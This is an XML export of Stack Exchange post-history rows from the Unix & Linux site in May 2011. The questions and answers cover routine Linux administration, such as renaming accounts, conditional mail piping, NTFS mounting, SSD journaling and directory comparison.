  <row Id="33032" PostHistoryTypeId="25" PostId="13338" RevisionGUID="44e27393-d612-4a70-924e-f6011afcb277" CreationDate="2011-05-17T15:12:17.033" Comment="http://twitter.com/#!/StackUnix/status/70506930568830977" />
  <row Id="33033" PostHistoryTypeId="5" PostId="629" RevisionGUID="1f8d0aec-da9b-45d5-85fa-77527356396e" CreationDate="2011-05-17T15:13:08.940" UserId="688" Comment="deleted 23 characters in body; edited title" Text="I installed an ubuntu on a computer that is now used by somebody else. I renamed the account with her name, but it only changes the fullname, not the user name, which is still displayed in the top right (in the `fast-user-switch-applet`).&#xD;&#xA;Is there a command to rename an Unix user account?&#xD;&#xA;&#xD;&#xA;I've thought of creating a new user account with the new name, and then copying everything in the &quot;old&quot; home to the home of the new account. Would it be enough? But then I think the files would have the old account's permissions' owner? So should I do `chown -R newuser ~`?&#xD;&#xA;&#xD;&#xA;Is there a simpler/recommended way to do this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33034" PostHistoryTypeId="4" PostId="629" RevisionGUID="1f8d0aec-da9b-45d5-85fa-77527356396e" CreationDate="2011-05-17T15:13:08.940" UserId="688" Comment="deleted 23 characters in body; edited title" Text="Is it possible to rename a Unix user account?" />
  <row Id="33035" PostHistoryTypeId="5" PostId="13328" RevisionGUID="14196619-1f35-4a12-9551-f279d4f59874" CreationDate="2011-05-17T15:17:42.040" UserId="1925" Comment="added 710 characters in body" Text="I think you will have to use a temp file for this operation so that you can use the `&amp;&amp;` operator to only run the mail command if the grep returned an exit status that says it had matches like this:&#xD;&#xA;&#xD;&#xA;    TMPFILE=`mktemp /tmp/mailqgrep.XXXXXX`; mailq | egrep 'rejected|refused' -A5 -B5 &gt; $TMPFILE &amp;&amp; mail -s 'dd' email@email &lt; $TMPFILE; rm $TMPFILE&#xD;&#xA;&#xD;&#xA;If you didn't mind the temp file sticking around somewhere and can use a static name for it, you could skip the special naming and deletion stuff:&#xD;&#xA;&#xD;&#xA;     mailq | egrep 'rejected|refused' -A5 -B5 &gt; /tmp/mailqgrep &amp;&amp; mail -s 'dd' email@email &lt; /tmp/mailqgrep&#xD;&#xA;&#xD;&#xA;**Edit:** After seeing [glenn's answer][1] I played with this some more and apparently assigning a variable using the `$()` syntax returns the exit code of the command, so you can skip the test he used for the string length and use that instead. Here it is all in one command:&#xD;&#xA;&#xD;&#xA;    data=$(mailq | egrep 'rejected|refused' -A 5 -B 5) &amp;&amp; mail -s 'dd' email@email &lt;&lt;&lt; &quot;$data&quot;&#xD;&#xA;&#xD;&#xA;**Edit 2:** After seeing [Simon's answer][2] I checked out my `mail` program. It does not behave in the way he describes by default, but does have an option for that. From the man page:&#xD;&#xA;&#xD;&#xA;&gt; `-E` If an outgoing message does not contain any text in its first or only message part, do not send it but discard it silently, effectively  setting skipemptybody variable at program startup. This is useful for sending messages from scripts started by cron(8).&#xD;&#xA;&#xD;&#xA;Making this possible:&#xD;&#xA;&#xD;&#xA;    mailq | egrep 'rejected|refused' -A 5 -B 5 | mail -E -s 'dd' email@email&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/13326/how-to-pipe-output-from-one-process-to-another-but-only-execute-if-the-first-has/13337#13337&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/13326/how-to-pipe-output-from-one-process-to-another-but-only-execute-if-the-first-has/13341#13341" />
  <row Id="33036" PostHistoryTypeId="5" PostId="373" RevisionGUID="ebfd3d47-b2fe-43c6-9a01-12dcacc1c8fb" CreationDate="2011-05-17T15:21:29.790" UserId="688" Comment="added 6 characters in body; edited tags" Text="In [KDE SC 4.5.0][1] it's possible to use a WebKit part for rendering in Konqueror. I don't think it's on by default (I could be wrong) and I believe I've installed all the requirements for it... How do I enable it?&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;I figured out how to switch it... &#xD;&#xA;&#xD;&#xA;    View -&gt; View mode -&gt; webkit&#xD;&#xA;&#xD;&#xA;But you must be on a web page first. Problem is that this setting doesn't stick. I can't find a permanent setting. Does one exist?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kde.org/announcements/4.5/platform.php" />
  <row Id="33037" PostHistoryTypeId="6" PostId="373" RevisionGUID="ebfd3d47-b2fe-43c6-9a01-12dcacc1c8fb" CreationDate="2011-05-17T15:21:29.790" UserId="688" Comment="added 6 characters in body; edited tags" Text="ékdeàéarchölinuxàésettingsà" />
  <row Id="33038" PostHistoryTypeId="5" PostId="1033" RevisionGUID="43e1c43d-bc7f-4dc6-804a-753df41fb505" CreationDate="2011-05-17T15:23:14.237" UserId="688" Comment="deleted 58 characters in body; edited title" Text="I am running a Linux server (without xwindows or any kind of GUI), with a modern 22&quot; LCD monitor.&#xD;&#xA;&#xD;&#xA;Given the huge size of my monitor, I would like to increase the number of rows and columns on my terminal, how can I go about achieving it?" />
  <row Id="33039" PostHistoryTypeId="4" PostId="1033" RevisionGUID="43e1c43d-bc7f-4dc6-804a-753df41fb505" CreationDate="2011-05-17T15:23:14.237" UserId="688" Comment="deleted 58 characters in body; edited title" Text="How to change font-size, number of rows / columns on a terminal" />
  <row Id="33040" PostHistoryTypeId="5" PostId="1013" RevisionGUID="0a16d330-0324-4bb3-b190-f10e1b59dcb8" CreationDate="2011-05-17T15:24:07.417" UserId="688" Comment="deleted 3 characters in body" Text="Use the `find` command.  &#xD;&#xA;&#xD;&#xA;Find all files (recursively) matching a regex: `find . -type f -regex '/ex/'`  &#xD;&#xA;Find all files (recursively) matching a regex and delete them: `find . -type f -regex '/ex/' -exec rm {} \;`&#xD;&#xA;&#xD;&#xA;The brackets store the found pathname, and the backslash escapes the semicolon because it's passed to find; without escaping it, it would be consumed by the shell. If that went over your head, read the first two chapters of &quot;Learning the Bash Shell&quot;.&#xD;&#xA;&#xD;&#xA;Check the man pages for `find` for more options. There are a lot more ways to search.&#xD;&#xA;" />
  <row Id="33041" PostHistoryTypeId="2" PostId="13343" RevisionGUID="3636c6f1-32cf-4be5-8717-0a218219fb89" CreationDate="2011-05-17T15:24:40.867" UserId="3477" Text="I am setting up Arcade Puppy http://scottjarvis.com/page105.htm on an old Dell GX50 PC.&#xD;&#xA;&#xD;&#xA;Instead of using a PS2 style keyboard which I don't have I opted for a low profile generic USB keyboard.&#xD;&#xA;&#xD;&#xA;The problem is that once installed to the hard disk the GRUB boot menu does not recognize  the USB Keyboard so I cannot choose the boot option to start Linux, also there isn't the normal default timeout setup.&#xD;&#xA;&#xD;&#xA;The USB keyboard works the BIOS settings fine and worked okay when booting off the live CD to install Linux.&#xD;&#xA;&#xD;&#xA;Has anyone got any suggestions or will I be forced to find a PS2 keyboard?" />
  <row Id="33042" PostHistoryTypeId="1" PostId="13343" RevisionGUID="3636c6f1-32cf-4be5-8717-0a218219fb89" CreationDate="2011-05-17T15:24:40.867" UserId="3477" Text="USB Keyboard does not work with Grub" />
  <row Id="33043" PostHistoryTypeId="3" PostId="13343" RevisionGUID="3636c6f1-32cf-4be5-8717-0a218219fb89" CreationDate="2011-05-17T15:24:40.867" UserId="3477" Text="égrubàékeyboardà" />
  <row Id="33044" PostHistoryTypeId="5" PostId="13333" RevisionGUID="71b82cb8-9a3f-445d-bad7-906b7a1ff380" CreationDate="2011-05-17T15:40:43.087" UserId="2701" Comment="added 315 characters in body" Text="If the SSD is to be your only disk platform, regardless of number of devices, then you have a quandry; how to minimize writes while maintaining reliability and performance.&#xD;&#xA;&#xD;&#xA;More specifically, ext4, and 3 for that matter, NILFS, and almost any other modern file system will maintain a journal. Ordinarily this is desirable, however, when dealing with SSD devices it increases the writes performed against the device and thereby reduces its lifespan. One option is to select a conventional IDE, SATA, or other device to which the file system can write its journal. This way one may maintain the benefits of journaling without sacrificing lifespan of the SSD device(s). In the case of ext4 this can be accomplished as: `mke2fs -O journal_dev /dev/external_device` then attached to the specific file system as: `mkfs.ext4 -J journal=/dev/external_device`. More information can be found in the [man page][1].&#xD;&#xA;&#xD;&#xA;An additional feature of file systems to keep in mind when deal with SSD devices is atime. Setting atime on a file system can drastically increase the number of writes to a given device over time. Options for changing this behavior include 'relatime' and 'noatime'.&#xD;&#xA;&#xD;&#xA;Since we seem to be focusing on ext4, the kernel documentation on the file system, including its available options, is available for reference [here][2].&#xD;&#xA;&#xD;&#xA;Some other options to consider: noload, as vorbote suggested, and errors=remount-ro; &#xD;&#xA;&#xD;&#xA;  [1]: http://202.203.132.242/cgi-bin/dwww/usr/share/man/man8/mkfs.ext4.8.gz?type=man&#xD;&#xA;  [2]: http://www.kernel.org/doc/Documentation/filesystems/ext4.txt" />
  <row Id="33045" PostHistoryTypeId="2" PostId="13344" RevisionGUID="abfdb9c7-972d-4421-afc0-4f14438f4f0b" CreationDate="2011-05-17T15:50:43.473" UserId="7552" Text="I want to use a RedHat rpm Software Package for CentOS 5.6. But i dont know which version of RedHat works with CentOS 5.6.&#xD;&#xA;&#xD;&#xA;RedHat 4 = CentOS 4?&#xD;&#xA;&#xD;&#xA;RedHat 5 = CentOS 5?&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;" />
  <row Id="33046" PostHistoryTypeId="1" PostId="13344" RevisionGUID="abfdb9c7-972d-4421-afc0-4f14438f4f0b" CreationDate="2011-05-17T15:50:43.473" UserId="7552" Text="Which RedHat packages for CentOS?" />
  <row Id="33047" PostHistoryTypeId="3" PostId="13344" RevisionGUID="abfdb9c7-972d-4421-afc0-4f14438f4f0b" CreationDate="2011-05-17T15:50:43.473" UserId="7552" Text="écentosàérhelàérpmà" />
  <row Id="33048" PostHistoryTypeId="2" PostId="13345" RevisionGUID="12bd7239-4648-422b-9155-1a100f7f22e5" CreationDate="2011-05-17T16:11:37.400" UserId="3496" Text="I only have read-only access to my external hard-drive which is using NTFS filesystem. How do I fix this problem to get full access to my hard drive?" />
  <row Id="33049" PostHistoryTypeId="1" PostId="13345" RevisionGUID="12bd7239-4648-422b-9155-1a100f7f22e5" CreationDate="2011-05-17T16:11:37.400" UserId="3496" Text="ntfs external HD works read-only on Arch" />
  <row Id="33050" PostHistoryTypeId="3" PostId="13345" RevisionGUID="12bd7239-4648-422b-9155-1a100f7f22e5" CreationDate="2011-05-17T16:11:37.400" UserId="3496" Text="éarchölinuxàéntfsà" />
  <row Id="33051" PostHistoryTypeId="2" PostId="13346" RevisionGUID="2fef1529-d70e-42c1-82dc-600878a14eb1" CreationDate="2011-05-17T16:24:30.123" UserId="1925" Text="You need to install the [ntfs-3g filesystem driver][1] and mount your drive using that instead of your current ntfs driver.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.archlinux.org/packages/extra/i686/ntfs-3g/" />
  <row Id="33052" PostHistoryTypeId="2" PostId="13347" RevisionGUID="5a7e0a1b-4aba-41ee-ae7b-6ad803f7a7b7" CreationDate="2011-05-17T16:39:37.600" UserId="58" Text="I've been looking around for a way to update an offline fedora box but haven't found anything. I only have a Windows computer connected to the Internet. I noticed that my yum config is pointed to http://download.fedoraproject.org/pub/fedora/linux/updates/14/i386. Is there a way I can download a list of packages and then those packages manually but still use yum?&#xD;&#xA;&#xD;&#xA;I've seen ways to do this with a second linux box that has Internet access, but I don't have that." />
  <row Id="33053" PostHistoryTypeId="1" PostId="13347" RevisionGUID="5a7e0a1b-4aba-41ee-ae7b-6ad803f7a7b7" CreationDate="2011-05-17T16:39:37.600" UserId="58" Text="Update yum offline" />
  <row Id="33054" PostHistoryTypeId="3" PostId="13347" RevisionGUID="5a7e0a1b-4aba-41ee-ae7b-6ad803f7a7b7" CreationDate="2011-05-17T16:39:37.600" UserId="58" Text="éfedoraàéyumà" />
  <row Id="33056" PostHistoryTypeId="5" PostId="13333" RevisionGUID="36bb939c-117e-425c-8df8-ee34b85a5941" CreationDate="2011-05-17T16:50:29.137" UserId="2701" Comment="added 4 characters in body" Text="If the SSD is to be your only disk platform, regardless of number of devices, then you have a quandry; how to minimize writes while maintaining reliability and performance.&#xD;&#xA;&#xD;&#xA;More specifically, ext4, and 3 for that matter, NILFS, and almost any other modern file system will maintain a journal. Ordinarily this is desirable, however, when dealing with SSD devices it increases the writes performed against the device and thereby reduces its lifespan. One option is to select a conventional IDE, SATA, or other device to which the file system can write its journal. This way one may maintain the benefits of journaling without sacrificing lifespan of the SSD device(s). In the case of ext4 this can be accomplished as: `mke2fs -O journal_dev /dev/external_device` then attached to the specific file system as: `mkfs.ext4 -J journal=/dev/external_device`. More information can be found in the [man page][1].&#xD;&#xA;&#xD;&#xA;An additional feature of file systems to keep in mind when deal with SSD devices is atime. Setting atime on a file system can drastically increase the number of writes to a given device over time. Options for changing this behavior include 'relatime' and 'noatime'.&#xD;&#xA;&#xD;&#xA;Since we seem to be focusing on ext4, the kernel documentation on the file system, including its available options, is available for reference [here][2].&#xD;&#xA;&#xD;&#xA;Some other options to consider: `noload`, as vorbote suggested, and `errors=remount-ro`; &#xD;&#xA;&#xD;&#xA;  [1]: http://202.203.132.242/cgi-bin/dwww/usr/share/man/man8/mkfs.ext4.8.gz?type=man&#xD;&#xA;  [2]: http://www.kernel.org/doc/Documentation/filesystems/ext4.txt" />
  <row Id="33057" PostHistoryTypeId="5" PostId="12366" RevisionGUID="d5e5802b-482f-4329-9e8a-47da75226520" CreationDate="2011-05-17T16:51:15.080" UserId="4430" Comment="Added update 3." Text="**UPDATE 3:**&#xD;&#xA;&#xD;&#xA;This is what I get from `lsusb`:&#xD;&#xA;&#xD;&#xA;    oshirowanen@laptop:~$ sudo lsusb&#xD;&#xA;    [sudo] password for oshirowanen: &#xD;&#xA;    Bus 001 Device 003: ID 19d2:0031 ONDA Communication S.p.A. ZTE MF636&#xD;&#xA;&#xD;&#xA;**UPDATE 2:**&#xD;&#xA;&#xD;&#xA;    OS = Ubuntu 10.04.2&#xD;&#xA;    USB Stick = ZTE MF112&#xD;&#xA;&#xD;&#xA;**UPDATE 1:**&#xD;&#xA;&#xD;&#xA;I've looked at the documentation for usb_modeswitch, but find it to complex to understand.  Can someone please point me to a step by step guide on how to use it and setup my usb drive?&#xD;&#xA;&#xD;&#xA;**ORIGINAL QUESTION:**&#xD;&#xA;&#xD;&#xA;Is it possible to stop my usb mobile broadband stick from automatically mounting as a drive, yet continue to mount all other usb devices (camera, usb memory stick, usb camera etc) as normal, i.e. usb memory stick, usb harddrive stick should mount as normal usb drives as they currently do, web cam should mount as a cam as it does etc etc?&#xD;&#xA;&#xD;&#xA;Basically, when I plug in the mobile broadband usb stick, it automatically mounts as a usb drive, and I have to unmount it.  It then automatically gets detected as a mobile broadband device.&#xD;&#xA;&#xD;&#xA;So if it is possible to stop just the mobile broadband usb stick from mounting as a drive, it should automatically get detected as a mobile broadband device.&#xD;&#xA;&#xD;&#xA;Can this be done?  I am using Ubuntu&#xD;&#xA;10.04." />
  <row Id="33058" PostHistoryTypeId="5" PostId="12366" RevisionGUID="3c658c3e-aa54-402d-b01a-73cd0c1600e6" CreationDate="2011-05-17T16:59:04.577" UserId="4430" Comment="added 179 characters in body" Text="**UPDATE 3:**&#xD;&#xA;&#xD;&#xA;This is what I get from `lsusb`:&#xD;&#xA;&#xD;&#xA;    oshirowanen@laptop:~$ sudo lsusb&#xD;&#xA;    [sudo] password for oshirowanen: &#xD;&#xA;    Bus 001 Device 003: ID 19d2:0031 ONDA Communication S.p.A. ZTE MF636&#xD;&#xA;&#xD;&#xA;As I have tried the following and it did not work:&#xD;&#xA;&#xD;&#xA;    SUBSYSTEM==&quot;usb_device&quot;, ATTR{idVentor}==&quot;ZTE MF636&quot;, ATTR{idProduct}==&quot;19d2:0031&quot;,ENV{UDISKS_PRESENTATION_HIDE}:=&quot;1&quot;&#xD;&#xA;&#xD;&#xA;**UPDATE 2:**&#xD;&#xA;&#xD;&#xA;    OS = Ubuntu 10.04.2&#xD;&#xA;    USB Stick = ZTE MF112&#xD;&#xA;&#xD;&#xA;**UPDATE 1:**&#xD;&#xA;&#xD;&#xA;I've looked at the documentation for usb_modeswitch, but find it to complex to understand.  Can someone please point me to a step by step guide on how to use it and setup my usb drive?&#xD;&#xA;&#xD;&#xA;**ORIGINAL QUESTION:**&#xD;&#xA;&#xD;&#xA;Is it possible to stop my usb mobile broadband stick from automatically mounting as a drive, yet continue to mount all other usb devices (camera, usb memory stick, usb camera etc) as normal, i.e. usb memory stick, usb harddrive stick should mount as normal usb drives as they currently do, web cam should mount as a cam as it does etc etc?&#xD;&#xA;&#xD;&#xA;Basically, when I plug in the mobile broadband usb stick, it automatically mounts as a usb drive, and I have to unmount it.  It then automatically gets detected as a mobile broadband device.&#xD;&#xA;&#xD;&#xA;So if it is possible to stop just the mobile broadband usb stick from mounting as a drive, it should automatically get detected as a mobile broadband device.&#xD;&#xA;&#xD;&#xA;Can this be done?  I am using Ubuntu&#xD;&#xA;10.04." />
  <row Id="33059" PostHistoryTypeId="5" PostId="13344" RevisionGUID="aaf26496-c14c-41bc-825a-859f6da27c6d" CreationDate="2011-05-17T17:28:49.867" UserId="688" Comment="added 1 characters in body" Text="I want to use a RedHat rpm Software Package for CentOS 5.6, but I dont know which version of RedHat works with CentOS 5.6.&#xD;&#xA;&#xD;&#xA;RedHat 4 = CentOS 4?&#xD;&#xA;&#xD;&#xA;RedHat 5 = CentOS 5?&#xD;&#xA;&#xD;&#xA;... &#xD;&#xA;" />
  <row Id="33060" PostHistoryTypeId="2" PostId="13349" RevisionGUID="48d86e1a-69e3-4673-a7e0-a543dd11db81" CreationDate="2011-05-17T17:53:52.950" UserId="5840" Text="I have two directories which are different versions of the same software package.  I'd like to list all the files/directories that have changed between the two then copy those differences to a new directory.&#xD;&#xA;&#xD;&#xA;I've been trying different scripts with `md5sum` and `diff -Nurq` but haven't been able to get the result I'm looking for.&#xD;&#xA;&#xD;&#xA;Any recommendations?" />
  <row Id="33061" PostHistoryTypeId="1" PostId="13349" RevisionGUID="48d86e1a-69e3-4673-a7e0-a543dd11db81" CreationDate="2011-05-17T17:53:52.950" UserId="5840" Text="Directory &quot;diff&quot;?" />
  <row Id="33062" PostHistoryTypeId="3" PostId="13349" RevisionGUID="48d86e1a-69e3-4673-a7e0-a543dd11db81" CreationDate="2011-05-17T17:53:52.950" UserId="5840" Text="écommandölineà" />
  <row Id="33063" PostHistoryTypeId="2" PostId="13350" RevisionGUID="caed1862-7f9c-4b51-a76b-40b3680608b6" CreationDate="2011-05-17T17:55:50.433" UserId="6566" Text="Yes, the version numbers correlate between RHEL and CentOS." />
  <row Id="33064" PostHistoryTypeId="25" PostId="13323" RevisionGUID="99e0b36e-f947-4df5-8239-e3a67e04cb99" CreationDate="2011-05-17T18:12:16.477" Comment="http://twitter.com/#!/StackUnix/status/70552227047153665" />
  <row Id="33065" PostHistoryTypeId="2" PostId="13351" RevisionGUID="6291f2e0-3aa6-4a97-b92b-d5e07c33faaf" CreationDate="2011-05-17T18:27:39.530" UserId="7549" Text="Hello!&#xD;&#xA;&#xD;&#xA;I'm thinking about buying cheap router and setting up OpenWRT with apache and ftp on it. My idea is to buy a ethernet enclosure &amp; an hdd and hook it up to OpenWRT to replace flash root filesystem. Will this http://www.newegg.com/Product/Product.aspx?Item=N82E16817145380 enclosure work as I expect?&#xD;&#xA;&#xD;&#xA;Or perhaps I can abuse ethernet port with &quot;etnernet to usb&quot; connector, hook up a usb hdd, boot OpenWRT and mount the hdd as usb hdd?&#xD;&#xA;&#xD;&#xA;Sorry for my language - not a native speaker." />
  <row Id="33066" PostHistoryTypeId="1" PostId="13351" RevisionGUID="6291f2e0-3aa6-4a97-b92b-d5e07c33faaf" CreationDate="2011-05-17T18:27:39.530" UserId="7549" Text="OpenWRT mount/boot ethernet HDD" />
  <row Id="33067" PostHistoryTypeId="3" PostId="13351" RevisionGUID="6291f2e0-3aa6-4a97-b92b-d5e07c33faaf" CreationDate="2011-05-17T18:27:39.530" UserId="7549" Text="éopenwrtàéusbödriveà" />
  <row Id="33068" PostHistoryTypeId="5" PostId="900" RevisionGUID="ae6be39c-fc02-4ed7-a8c7-af48f3d9c5de" CreationDate="2011-05-17T18:32:59.780" UserId="688" Comment="added 1 characters in body" Text="Two backup tools that can store binary diffs are [rdiff-backup](http://rdiff-backup.nongnu.org/) and [duplicity](http://www.nongnu.org/duplicity/). Both are based on `librsync`, but above that, they behave quite differently: rdiff-backup stores the latest copy and reverse diffs, while duplicity stores traditional incremental diffs, and they offer a different set of peripheral features.&#xD;&#xA;" />
  <row Id="33069" PostHistoryTypeId="5" PostId="900" RevisionGUID="b36238ef-9bbb-4c92-af14-674582e37e14" CreationDate="2011-05-17T18:37:01.527" UserId="885" Comment="added hurdles to run-on sentence" Text="Two backup tools that can store binary diffs are [rdiff-backup](http://rdiff-backup.nongnu.org/) and [duplicity](http://www.nongnu.org/duplicity/). Both are based on `librsync`, but above that they behave quite differently. Rdiff-backup stores the latest copy and reverse diffs, while duplicity stores traditional incremental diffs. The two tools also offer a different set of peripheral features.&#xD;&#xA;" />
  <row Id="33070" PostHistoryTypeId="2" PostId="13352" RevisionGUID="93d5c778-7096-433e-b22e-640a687a374b" CreationDate="2011-05-17T18:38:36.000" UserId="1946" Text="You should use `rsync` instead.  Something like `rsync -rv $old/ $new/` should do the trick: this will print the files it's going to copy over.&#xD;&#xA;&#xD;&#xA;Run with additional `-n` for a dry-run before actually modifying the new directory." />
  <row Id="33071" PostHistoryTypeId="5" PostId="13351" RevisionGUID="668af4f9-bee2-45aa-ad42-dfaba121c301" CreationDate="2011-05-17T18:44:27.930" UserId="688" Comment="deleted 39 characters in body" Text="I'm thinking about buying a cheap router and setting up OpenWRT with apache and ftp on it. My idea is to buy an ethernet enclosure &amp; a HDD and hook it up to OpenWRT to replace flash root filesystem. Will [this enclosure][1] work as I expect?&#xD;&#xA;&#xD;&#xA;Or perhaps I can abuse ethernet port with &quot;etnernet to USB&quot; connector, hook up an USB HDD, boot OpenWRT and mount the HDD as USB HDD?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.newegg.com/Product/Product.aspx?Item=N82E16817145380" />
  <row Id="33072" PostHistoryTypeId="2" PostId="13353" RevisionGUID="6daeb8ba-55ac-4a57-8399-9ad98fedffc9" CreationDate="2011-05-17T19:32:01.807" UserId="5550" Text="You can run SMIT with a -x parameter as described here:&#xD;&#xA;&#xD;&#xA;&gt; A safer way to explore the SMIT application is by invoking it with the -x flag. When the -x flag is specified on the command line, SMIT appears to function normally, but it will not actually execute any commands. Instead, it writes to the smit.script file the commands it would have run under normal operation. &#xD;&#xA;" />
  <row Id="33073" PostHistoryTypeId="2" PostId="13354" RevisionGUID="7750a48c-d454-441a-9a03-57b5b43e78aa" CreationDate="2011-05-17T19:45:27.107" UserId="4" Text="The best tool that I have found is using vim with the [DirDiff][1] plugin. If you use `vim` and `vimdiff`, this Plugin will be easy to learn.&#xD;&#xA;&#xD;&#xA;The author describes it this way:&#xD;&#xA;&#xD;&#xA;&gt; **description**&#xD;&#xA;&gt; &#xD;&#xA;&gt; This is a utility that performs a&#xD;&#xA;&gt; recursive diff on two directories and&#xD;&#xA;&gt; generate a diff &quot;window&quot;.  Based on&#xD;&#xA;&gt; that window you can perform various&#xD;&#xA;&gt; diff operations such as opening two&#xD;&#xA;&gt; files in Vim's diff mode, copy the&#xD;&#xA;&gt; file or directory recursively to the&#xD;&#xA;&gt; other, or remove the directory tree&#xD;&#xA;&gt; from the source directory.&#xD;&#xA;&#xD;&#xA;DirDiff is like using `vimdiff` to compare two directories, and all subdirectories and files contained therein. I use this tool often for comparing different Subversion branches, configuration directories on different hosts, etc.&#xD;&#xA;&#xD;&#xA;For a screenshot, look at dedm's blog: http://dedm.livejournal.com/115224.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vim.org/scripts/script.php?script_id=102" />
  <row Id="33078" PostHistoryTypeId="2" PostId="13355" RevisionGUID="60769a85-494c-4bfb-9c7b-82056326e636" CreationDate="2011-05-16T23:46:17.147" UserDisplayName="Chris" Text="1. I know little to nothing about Linux (Fedora)&#xD;&#xA;2. I installed PuTTY on my Windows machine &#xD;&#xA;3. I've been able to remote to&#xD;&#xA;    my Linux machine (it is not local)&#xD;&#xA;    via PuTTY command prompt&#xD;&#xA;&#xD;&#xA;with that in mind, how do I install a GUI like GNOME and then remote into it?" />
  <row Id="33079" PostHistoryTypeId="1" PostId="13355" RevisionGUID="60769a85-494c-4bfb-9c7b-82056326e636" CreationDate="2011-05-16T23:46:17.147" UserDisplayName="Chris" Text="How do you install a GUI like GNOME on a Linux machine via PuTTY?" />
  <row Id="33080" PostHistoryTypeId="3" PostId="13355" RevisionGUID="60769a85-494c-4bfb-9c7b-82056326e636" CreationDate="2011-05-16T23:46:17.147" UserDisplayName="Chris" Text="égnomeàéremoteödesktopà" />
  <row Id="33081" PostHistoryTypeId="17" PostId="13355" RevisionGUID="e28b6f10-8c97-4419-a6c1-95b0f9e6d8c5" CreationDate="2011-05-17T20:13:03.970" UserId="-1" Comment="from http://askubuntu.com/questions/43298/how-do-you-install-a-gui-like-gnome-on-a-linux-machine-via-putty" Text="" />
  <row Id="33082" PostHistoryTypeId="6" PostId="13326" RevisionGUID="eb39427c-bc60-467b-b5e6-6c731cc1e002" CreationDate="2011-05-17T20:26:49.357" UserId="885" Comment="edited tags" Text="éshellàépipeà" />
  <row Id="33083" PostHistoryTypeId="2" PostId="13358" RevisionGUID="068191b5-7afb-4172-8021-635788b40ec2" CreationDate="2011-05-17T20:32:14.000" UserId="885" Text="Untested:&#xD;&#xA;&#xD;&#xA;    pipe_if_not_empty () {&#xD;&#xA;      a=$(dd bs=1 count=1; echo .)    # read at most one character&#xD;&#xA;      if [ &quot;$a&quot; != &quot;.&quot; ]; then        # if there were two characters,&#xD;&#xA;        { printf %s &quot;${a%.}&quot;;         # then output the first character&#xD;&#xA;          cat; } |                    # and the rest of the input   &#xD;&#xA;        &quot;$@&quot;                          # into the specified program&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    mailq | egrep 'rejected|refused' -A 5 -B 5 |&#xD;&#xA;    pipe_if_not_empty mail -s 'dd' email@email&#xD;&#xA;" />
  <row Id="33084" PostHistoryTypeId="6" PostId="1033" RevisionGUID="5011afc1-9825-4070-aae7-8efa137e09bc" CreationDate="2011-05-17T20:32:50.317" UserId="885" Comment="edited tags" Text="élinuxàéconsoleà" />
  <row Id="33085" PostHistoryTypeId="6" PostId="1011" RevisionGUID="afc3be97-b0f6-4150-9574-141161ef41a3" CreationDate="2011-05-17T20:33:07.183" UserId="885" Comment="edited tags" Text="éshellàérmàéwildcardsà" />
  <row Id="33086" PostHistoryTypeId="5" PostId="13339" RevisionGUID="8773e4a8-ceef-40ae-989b-b0697df7d4a6" CreationDate="2011-05-17T20:35:24.030" UserId="885" Comment="added double quotes around arguments to `export`" Text="You can do:&#xD;&#xA;&#xD;&#xA;    export PATH=&quot;A&quot;&#xD;&#xA;    export PATH=&quot;$PATH:B&quot;&#xD;&#xA;    export PATH=&quot;$PATH:C&quot;&#xD;&#xA;&#xD;&#xA;Each subsequent line appends onto the previously defined path. This is generally a good habit, as it avoids trashing the existing path. If you want the new component to take precedence, swap the order:&#xD;&#xA;&#xD;&#xA;    export PATH=&quot;A&quot;&#xD;&#xA;    export PATH=&quot;B:$PATH&quot;&#xD;&#xA;    export PATH=&quot;C:$PATH&quot;&#xD;&#xA;&#xD;&#xA;Alternatively, you might be able to do:&#xD;&#xA;&#xD;&#xA;    export PATH=A:\&#xD;&#xA;    B:\ &#xD;&#xA;    C&#xD;&#xA;&#xD;&#xA;where `\` marks a line continuation. Haven't tested this method." />
  <row Id="33087" PostHistoryTypeId="2" PostId="13359" RevisionGUID="45581b90-f104-4569-8e97-d83f364a1c20" CreationDate="2011-05-17T20:36:36.377" UserId="4" Text="Use `mail` with the `-E` option. On my Mac, MAIL(1) says:&#xD;&#xA;&#xD;&#xA;&gt;      -E      Do not send messages with an empty body.  This is useful for&#xD;&#xA;&gt; piping errors from cron(8) scripts.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33088" PostHistoryTypeId="5" PostId="13359" RevisionGUID="17ca4e46-a70b-4bcf-b844-87d7ef481d80" CreationDate="2011-05-17T20:41:43.470" UserId="4" Comment="added 519 characters in body; added 48 characters in body" Text="Use `mail` with the `-E` option. On my Mac, MAIL(1) says the `-E` flag will not send email with an empty body.&#xD;&#xA;&#xD;&#xA;&gt; -E      Do not send messages with an empty body.  This is useful for&#xD;&#xA;&gt; piping errors from cron(8) scripts.&#xD;&#xA;&#xD;&#xA;On my Mac, I ran the following test. Note that the file `file_does_exist` does exist, but the file `file_does__not_exist` does not exist.&#xD;&#xA;&#xD;&#xA;This sends an email to me:&#xD;&#xA;&#xD;&#xA;    $ ls file_does_exist | egrep 'file' -A5 -B5 | mailx -E -s 'test' stefan@example.org&#xD;&#xA;&#xD;&#xA;This does not. Note that the command `ls file_does_not_exist | egrep ...` does not produce any output.&#xD;&#xA;&#xD;&#xA;    $ ls file_does_not_exist | egrep 'file' -A5 -B5 | mailx -E -s 'test' stefan@example.org&#xD;&#xA;    ls: file_does_not_exist: No such file or directory&#xD;&#xA;&#xD;&#xA;" />
